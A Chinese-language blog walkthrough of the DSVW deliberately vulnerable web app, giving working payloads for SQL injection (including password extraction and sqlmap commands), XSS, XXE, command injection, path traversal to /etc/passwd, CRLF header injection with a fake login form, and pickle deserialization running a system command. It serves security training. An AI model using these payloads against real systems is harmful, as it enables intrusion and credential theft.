当前位置: 首页 > article >正文

【DSVW】攻防实战全记录

此后如竟没有炬火,我便是唯一的光

首先整体浏览网站

在这里插入图片描述

Blind SQL Injection (boolean)

基于布尔型的盲注: HTTP请求的响应体中不会明确的返回SQL的错误信息, 当把参数送入程序查询时,并且在查询条件为真的情况下返回正常页面,条件为假时程序会重定向到或者返回一个自定义的错误页面。

进入后整体浏览网页

在这里插入图片描述

构造payload:

?id=2’

可以看到我们的id是没有被单引号包裹的

在这里插入图片描述

构造payload:

?id=2 and 1=1

有回显

在这里插入图片描述

构造payload:

?id=2 and 1=2

无回显,可判断存在SQL注入

在这里插入图片描述

判断字段数

?id=2 order by 4

为4

在这里插入图片描述

查询表名:

union select 1,name,3,4 from sqlite_master

为comments、sqlite_sequence、users

在这里插入图片描述

查询所有表中的字段名

union select 1,sql,3,4 from sqlite_master

比如users表中的字段为 id、name、password、surname、username

在这里插入图片描述

查询密码

union select 1,password,3,4 from users

为7en8aiDoh!、12345、gandalf、phest1945

在这里插入图片描述

查询版本:

union select 1,sqlite_version(),3,4 from sqlite_master

为3.8.7.1

在这里插入图片描述

首先用sqlmap进行检测

python sqlmap.py -u http://x.x.x.x/?id=2 --batch

可以发现是SQLite数据库

在这里插入图片描述

查询表名:

python sqlmap.py -u http://x.x.x.x/?id=2 --batch --tables

为comments、sqlite_sequence、users

在这里插入图片描述

查询users表中的字段

python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users --columns

为 id、name、password、surname、username

在这里插入图片描述

查询password的字段内容

python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users -C password --dump

为7en8aiDoh!、12345、gandalf、phest1945

在这里插入图片描述

构造payload:

and substr(sqlite_version(),1,1)=‘3’

得到sqlite版本首位为3

在这里插入图片描述

是布尔型注入

?id=2 AND SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,1)=‘7’

正确有回显

在这里插入图片描述

错误payload:

?id=2 AND SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,1)=‘8’

没有回显

在这里插入图片描述

构造payload:

?id=2 AND SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,10)=‘7en8aiDoh!’

有回显,所以密码是7en8aiDoh!

在这里插入图片描述

Blind SQL Injection (time)

基于时间型的盲注: 与布尔型盲注类似, 当把参数送入程序查询时,通过判断服务器响应时所花费的时间, 如果延迟大于等于Payload中设定的值时就可判断查询结果为真, 否则为假。不同的BDMS使用的方法和技巧略有不同。

这个漏洞环境用到了 SQLITE3 中的 CASE 窗口函数与 RANDOMBLOB 来实现的基于时间的盲注。

MYSQL: sleep(2)

MSSQL: WAITFOR DELAY ‘0:0:2’

首先整体浏览网页

在这里插入图片描述

语句错误就不会沉睡

?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,10)=‘1111111111’) THEN (LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

如下

在这里插入图片描述

语句正确就会沉睡几秒

?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,10)=‘7en8aiDoh!’) THEN (LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

结果如下

在这里插入图片描述

UNION SQL Injection

基于联合查询注入: 使用UNION运算符用于SQL注入,UNION运算符是关联两个表的查询结果。攻击者故意伪造的恶意的查询并加入到原始查询中, 伪造的查询结果将被合并到原始查询的结果返回,攻击者会获得其他表的信息。

联合注入语句

?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT username||‘,’||password FROM users WHERE username=‘dricci’)

内容如下

在这里插入图片描述

Login Bypass

登陆绕过: 这里是基于SQL注入的一种绕过方式。登陆验证的逻辑没有验证和过滤输入字符直接带到sql进行查询,所以产生漏洞。

首先整体浏览网页

在这里插入图片描述

利用or 1=1绕过登录

login?username=admin&password='or ‘1’ like '1

成功绕过登陆

在这里插入图片描述

HTTP Parameter Pollution

当使用GET或者POST方法提交参数时, 请求体中包含了多个相同名称而不同值的参数。由于不同的语言与Web容器处理的方式不同, 结合业务场景会产生不同的影响。 通过利用这些影响,攻击者可能能够绕过输入验证,触发应用程序错误或修改内部变量值等风险。

参数污染就是重复断断续续的注释让waf以为这是注释从而绕过waf

login?username=admin&password='/**/or/**/'1'/**/like/**/'1

成功绕过登陆

在这里插入图片描述

Cross Site Scripting (reflected)

反射型跨站脚本攻击: 当攻击者在单个HTTP响应中插入浏览器可执行代码(HTML或JAVASCRIPT)时, 会发生反射跨站点脚本攻击。注入的恶意代码不会存储在应用程序后端, 它是非持久性的,只会影响打开恶意的链接或第三方网页的用户。

构造payload:

?v=0.2<script>alert("xss")</script>

成功弹窗

在这里插入图片描述

Cross Site Scripting (stored)

存储型跨站脚本攻击: 存储跨站脚本是最危险的跨站脚本类型, 其原理是Web系统会将攻击者提交的恶意代码存储到数据库中或是服务器后端里。只要受害者浏览到存在恶意代码的页面, 就会被执行恶意代码。

构造payload:

?comment=<script>alert("xss")</script>

点击here

在这里插入图片描述

每次刷新本页面,就会弹窗

在这里插入图片描述

Cross Site Scripting (DOM)

DOM型跨站脚本攻击: 基于DOM的跨站脚本是XSS bug的事实上的名字,它是页面上通常是JavaScript的活动浏览器端内容的结果,获取用户输入,然后做一些不安全的事情,导致注入代码的执行。

构造payload:

?#lang=en<script>alert("xss")</script>

成功弹窗

在这里插入图片描述

XML External Entity (local)

XML实体注入(本地): 在使用XML通信的服务中(如: SOAP服务)。Web系统没有验证与用户通信中XML格式, 攻击者可以构造恶意的XML文件来访问本地服务器上的资源信息。

首先整体浏览网页

在这里插入图片描述

用xml语句来查看etc目录下的passwd文件

?xml=]>&xxe;

结果如下

在这里插入图片描述

XML External Entity (remote)

XML实体注入(远程): 在使用XML通信的服务中(如: SOAP服务)。Web系统没有验证与用户通信中XML格式, 攻击者可以构造恶意的XML文件来将受害服务器的敏感信息上传到攻击者的服务器上,严重的可以反弹shell。

用xml语句来查看etc目录下的passwd文件

?xml=]>&xxe;

结果如下

在这里插入图片描述

Server Side Request Forgery

服务器端请求伪造: 一种由攻击者构造形成的指令并由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统资源。

构造payload:

?path=http://x.x.x.x:81/

如果 IP 地址 x.x.x.x开放了 81 端口, 那么返回得到的信息, 否则返回一个 500 错误。

在这里插入图片描述

Blind XPath Injection (boolean)

XPath注入: 与SQL注入类似,当网站使用用户提交的信息来构造XML数据的XPath查询时,会发生XPath注入攻击。 通过将有意的畸形信息发送到网站,攻击者可以了解XML数据的结构,或访问他通常不能访问的数据。 如果XML数据用于认证(例如基于XML的用户文件),他甚至可以提升其在网站上的权限。

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。

XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。

因此,对 XPath 的理解是很多高级 XML 应用的基础。

首先整体浏览网页:

在这里插入图片描述

构造payload:

?name=admin’ and substring(password/text(),1,10)='7en8aiDoh!

结果如下

在这里插入图片描述

Cross Site Request Forgery

跨站请求伪造: 会导致受害者在当前被认证的Web应用程序上执行一些 “非正常授权” 的操作。通常这类攻击需要借助第三方(如:通过邮件、私信、聊天发送链接等)的一些帮助,攻击者可以强制Web应用程序的用户执行攻击者选择的操作。当受害者是普通用户时, CSRF攻击可能会影响最终用户数据和操作; 如果受害者是管理员帐户,CSRF攻击可能会危及整个Web应用程序系统的安全。

首先整体浏览网站,发现是Cross Site Scripting (stored)后的页面,会弹xss

在这里插入图片描述

构造payload:

?comment=<img src="/?comment=<div style="color:red; font-weight: bold">I lIke studying</div>">

点击here

在这里插入图片描述

结果如下

在这里插入图片描述

Frame Injection (phishing)

Frame注入(钓鱼): 属于XSS的范畴, 将HTML的标签注入到存在漏洞的HTTP响应体中, 如: iframe标签。

构造payload:

<iframe src="https://www.baidu.com" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>

在这里插入图片描述

Frame Injection (content spoofing)

Frame注入(内容欺骗): 同上原理。

构造payload:

<iframe src="https://www.baidu.com" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>

成功注入iframe标签

在这里插入图片描述

Unvalidated Redirect

未验证的重定向: 当Web应用程序接受不受信任的输入时,可能会导致Web应用程序将请求重定向到包含在不受信任的输入中的URL,从而可能导致未经验证的重定向和转发。 通过将不受信任的URL输入修改为恶意网站,攻击者可能会成功启动网络钓鱼诈骗并窃取用户凭据。 由于修改链接中的服务器名称与原始网站相同,因此网络钓鱼尝试可能具有更可信的外观。 未验证的重定向和转发攻击也可用于恶意制作一个URL,该URL将通过应用程序的访问控制检查,然后将攻击者转发到他们通常无法访问的特权功能。

构造payload:

?redir=https://www.baidu.com

成功跳转

在这里插入图片描述

Arbitrary Code Execution

任意代码执行: 开发人员没有严格验证用户输入的数据, 在某些特殊业务场景中, 用户可构造出恶意的代码或系统命令, 来获得服务器上的敏感信息或者得到服务器的控制权限。

构造payload:

?domain=www.google.com; ifconfig

Full Path Disclosure

完整路径泄露: 全路径泄露漏洞使攻击者能够看到Web应用程序在服务器端的完整路径(例如:/var/www/html/)。攻击者会结合其他漏洞对Web系统进一步的攻击(如: 写 Webshell)。

构造payload:

?path=http://x.x.x.x:81/

在这里插入图片描述

Source Code Disclosure

源码泄露: 该漏洞会造成允许未授权用户获得服务器端应用程序的源代码。此漏洞会造成企业内部的敏感信息泄露或容易遭受恶意攻击者攻击。

构造payload:

?path=dsvw.py

结果如下

在这里插入图片描述

Path Traversal

路径穿越: 路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹外部的文件和目录。通过使用 “…/” 或 “…\” 等相对文件路径方式来操纵引用文件的变量,该漏洞会允许访问存储在文件系统上的任意文件和目录。

构造payload:

?path=…/…/…/…/etc/passwd

结果如下

在这里插入图片描述

File Inclusion (remote)

远程文件包含: 通常利用目标应用程序中实现的 “动态文件包含” 机制,允许攻击者包括一个远程文件。 由于对用户输入的数据没有进行适当的验证,导致出现漏洞。

构造payload:

?include=dsvw.py

结果如下

在这里插入图片描述

HTTP Header Injection (phishing)

HTTP响应头拆分(钓鱼): 用户提交的部分参数, 没有经过验证或过滤直接在响应头中输出, 由于HTTP的Header中使用了CRLF(url中的%0d%0a)来分割各个字段中的数据。恶意用户可以构造特殊的数据应该欺骗钓鱼。

构造payload:

?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://www.baidu.com" onSubmit="alert('hello')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>

当用户输入数据的时候会弹框

在这里插入图片描述

然后跳转到我们指定的页面

在这里插入图片描述

Component with Known Vulnerability (pickle)

使用含有已知漏洞的组件(pickle): pickle存在一个文件序列化漏洞。

整体浏览网页

在这里插入图片描述

构造payload:

?object=cos%0Asystem%0A(S’ping -c 5 127.0.0.1’%0AtR.%0A

这里执行了ping -c 5 127.0.0.1 命令

在这里插入图片描述

Denial of Service (memory)

拒绝服务(memory): 资源消耗型的 DoS 攻击, 通过大量的恶意请求来访问有缺陷的服务, 从而造成服务器的系统资源消耗(如: CPU利用率100%、内存耗尽等) 增大, 来影响正常用户的使用。往往会造成正常用户的无法打开或无法访问等一系列问题。

整体浏览网页

在这里插入图片描述

构造payload:

?size=99999

可以看到页面一直在刷新

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/

公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

http://www.kler.cn/a/452954.html

相关文章:

  • C++ —— 模板类与函数
  • MyBatis的插件运行原理,与如何编写一个插件
  • 关于科研中使用linux服务器的集锦
  • Verdi -- 打开Consol,创建和执行tcl命令举例
  • Linux搭建TRELLIS详细流程
  • zabbix监控山石系列Hillstone监控模版(适用于zabbix7及以上)
  • 2024年度个人总结
  • 题海拾贝:力扣 88.合并两个有序数组
  • Python3 爬虫 开发Scrapy下载器中间件
  • 开源轻量级IM框架MobileIMSDK的鸿蒙NEXT客户端库已发布
  • Python基础学习的资料
  • 每天40分玩转Django:Django类视图
  • Oracle、ACCSEE与TDMS的区别
  • 华为OD E卷(100分)31-敏感字段加密
  • github如何给本机绑定 ssh密钥(MACOS)
  • React图标库: 使用React Icons实现定制化图标效果
  • 利用Java爬虫获取速卖通(AliExpress)商品详情的详细指南
  • Xshell 和 Xftp 更新提示问题的解决方法及分析
  • 【机器学习】机器学习的基本分类-半监督学习(Semi-supervised Learning)
  • Go语言gRPC与gozero的api
  • 如何选择最佳时间进行WordPress网站维护避免流量损失
  • 轻量级安全云存储方案Hoodik
  • 分布式协同 - 分布式事务_2PC 3PC解决方案
  • 【Java基础面试题044】使用new String(“哈哈“)语句会创建几个对象?
  • C++-------动态内存管理
  • LDR6020在iPad一体式键盘的创新应用